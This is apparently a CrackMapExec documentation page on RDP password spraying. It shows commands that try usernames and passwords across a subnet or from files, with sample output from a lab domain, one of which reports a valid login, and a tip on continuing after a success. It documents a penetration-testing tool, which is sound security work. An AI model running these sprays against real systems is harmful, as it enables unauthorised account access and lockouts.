# Password Spraying

#### Password spraying

```
#~ poetry run crackmapexec rdp 192.168.1.0/24 -u user -p password
```

```
$ poetry run crackmapexec rdp 192.168.133.157 -u ron -p October2021
RDP         192.168.133.157 3389   DC01             [*] Windows 10 or Windows Server 2016 Build 17763 (name:DC01) (domain:poudlard.wizard)
RDP         192.168.133.157 3389   DC01             [-] poudlard.wizard\ron:October2021 
                                                                                                                                                                
$ poetry run crackmapexec rdp 192.168.133.157 -u rubeus -p October2021
RDP         192.168.133.157 3389   DC01             [*] Windows 10 or Windows Server 2016 Build 17763 (name:DC01) (domain:poudlard.wizard)
RDP         192.168.133.157 3389   DC01             [+] poudlard.wizard\rubeus:October2021 (Pwn3d!)
```

#### Password spraying (without bruteforce)

```
#~ poetry run crackmapexec rdp 192.168.1.0/24 -u userfile -p passwordfile --no-bruteforce
```

Expected Results:

```
└─$ poetry run crackmapexec rdp 192.168.133.157 -u /tmp/users -p passwordfile --no-bruteforce
RDP         192.168.133.157 3389   DC01             [*] Windows 10 or Windows Server 2016 Build 17763 (name:DC01) (domain:poudlard.wizard)
RDP         192.168.133.157 3389   DC01             [-] poudlard.wizard\ron:toto 
RDP         192.168.133.157 3389   DC01             [-] poudlard.wizard\demo:tata
RDP         192.168.133.157 3389   DC01             [+] poudlard.wizard\rubeus:October2021 (Pwn3d!
```

<figure><img src="https://3800235601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx4pJgNiBOMLG3QHRPFAy%2Fuploads%2Fuw9GVneL8unhpR33CtgD%2Fimage.png?alt=media&#x26;token=60c97745-1d39-429e-9147-a7ffb04ef4c4" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
By default CME will exit after a successful login is found. Using the `--continue-on-success` flag will continue spraying even after a valid password is found. Usefull for spraying a single password against a large user list.
{% endhint %}
